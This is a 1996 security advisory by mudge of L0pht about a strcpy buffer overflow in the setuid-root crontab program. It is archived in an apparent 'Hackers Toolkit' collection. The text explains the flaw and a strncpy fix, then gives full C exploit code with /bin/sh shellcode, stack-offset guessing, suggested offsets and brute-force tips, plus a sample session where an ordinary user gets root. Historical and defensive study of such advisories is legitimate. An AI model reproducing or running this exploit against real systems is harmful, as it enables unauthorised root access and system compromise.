home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / absdcron-ex.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  4KB  |  138 lines

  1. Due to a problem with the code in crontab, a buffer overflow exists that
  2. allows a user to overwrite the information in a saved stack frame. When
  3. the function returns, the saved frame is popped off of the stack and
  4. user supplied code can be executed.
  5.  
  6. Example:
  7.  
  8. > id
  9. uid=621 (mudge) gid=200(users)
  10. > ./cronny -92
  11. Using offset (0xefbfdbc8)
  12. # id
  13. uid=621 (mudge) euid=0(root) gid=200(users)
  14.  
  15. Description:
  16.  
  17. When crontab, a suid root program, is run with just a filename as it's
  18. only argument the argument is copied into the variable
  19. Filename[MAX_FNAME].
  20. Since this copy is done via strcpy, no bounds checking is done on the
  21. length of the string being handed in. The code snippit from crontab.c
  22. is as follows:
  23.  
  24.  
  25.   static char      Filename[MAX_FNAME];
  26.   ...
  27.  
  28.   [ from parse_args(argc, argc) ]
  29.   if (argv[optind] != NULL) {
  30.     Option = opt_replace;
  31.     (void) strcpy (Filename, argv[optind]);
  32.   } 
  33.  
  34. By placing a sufficently sized string in argv[1] it is possible to
  35. overwrite
  36. the saved frame on the stack and, upon return from the routine execute
  37. machine codes of the users contruction.
  38.  
  39. Solution:
  40.  
  41. One fix to the above problem is to replace the strcpy() with strncpy().
  42.  
  43.   if (argv[optind] != NULL) {
  44.     Option = opt_replace;
  45.     (void) strncpy(Filename, argv[optind], sizeof(Filename));
  46.   }
  47.  
  48. However, this only takes care of _one_ of the exploitable buffer overflows
  49. in crontab. Finding and fixing the others is left as an excercise to the
  50. readers ;-) [yes, Theo - I know you have already fixed them in OpenBSD!]
  51.  
  52. Gratuitous plug:
  53.  
  54. OpenBSD has already fixed these problems in crontab around the date of
  55. the exploit code below, if not a ways before. Talk about an OS with
  56. pro-active security coders!
  57.  
  58. Exploit code:
  59.  
  60. /********************************************************************
  61.  * crontab buffer overflow code - mudge@l0pht.com                   *
  62.  * 10/12/96                                                         *
  63.  *                                                                  *
  64.  * So I was sitting here thinking... I know, it's a dangerous thing *
  65.  * and you ever notice that hackers seem to have a surplus of time  *
  66.  * on their hands? Well, I don't but hopefully if I keep coming out *
  67.  * with things like this it will help to perpetuate the myth.       *
  68.  *                                                                  *
  69.  * There is a really cool buffer overflow in crond that bitwrior    *
  70.  * spotted. So I figured that since the same person, Paul Vixie,    *
  71.  * wrote crontab too that the same type of errors would probably be *
  72.  * there. Sure enough!                                              *
  73.  *                                                                  *
  74.  * Ya gotta love command line overflows... just yank the code from  *
  75.  * any existing one and brute on the new program. This is almost    *
  76.  * verbatim from my modstat overflow.                               *
  77.  *                                                                  *
  78.  * try with offsets of -92, -348, 164, 296, 351 with the way this   *
  79.  * is currently setup. If these fail, brute force it <grin>.        *
  80.  *******************************************************************/
  81.  
  82. #include <stdio.h>
  83. #include <stdlib.h>
  84.  
  85. long get_esp(void)
  86. {
  87.    __asm__("movl %esp, %eax\n");
  88. }
  89.  
  90. main(int argc, char **argv)
  91. {
  92.    int i, j, offset;
  93.    char *bar, *foo;
  94.    unsigned long *esp_plus = NULL;
  95.  
  96.   
  97.    char mach_codes[] =
  98.    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  99.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  100.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  101.    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
  102.  
  103.    
  104.    if (argc == 2)
  105.      offset = atoi(argv[1]);
  106.  
  107.    bar = malloc(4096);
  108.    if (!bar){
  109.      fprintf(stderr, "failed to malloc memory\n");
  110.      exit(1);
  111.    }
  112.  
  113.    foo = bar;  /* copy of original ptr */
  114.  
  115.    esp_plus = (long *)bar;
  116.    for(i=0; i < 1024 ; i++)
  117.      *(esp_plus++) = (get_esp() + offset);
  118.  
  119.    printf("Using offset (0x%x)\n", (get_esp() + offset)); 
  120.  
  121.    bar = (char *)esp_plus;
  122.  
  123.    for(j=0; j< strlen(mach_codes); j++)
  124.      *(bar++) = mach_codes[j];
  125.  
  126.    *bar = 0; 
  127.  
  128.    execl("/usr/bin/crontab", "crontab", foo, NULL);  
  129. }
  130.  
  131. mudge@l0pht.com
  132. ---
  133. http://www.l0pht.com/advisories.html
  134. ---
  135.  
  136.  
  137.  
  138.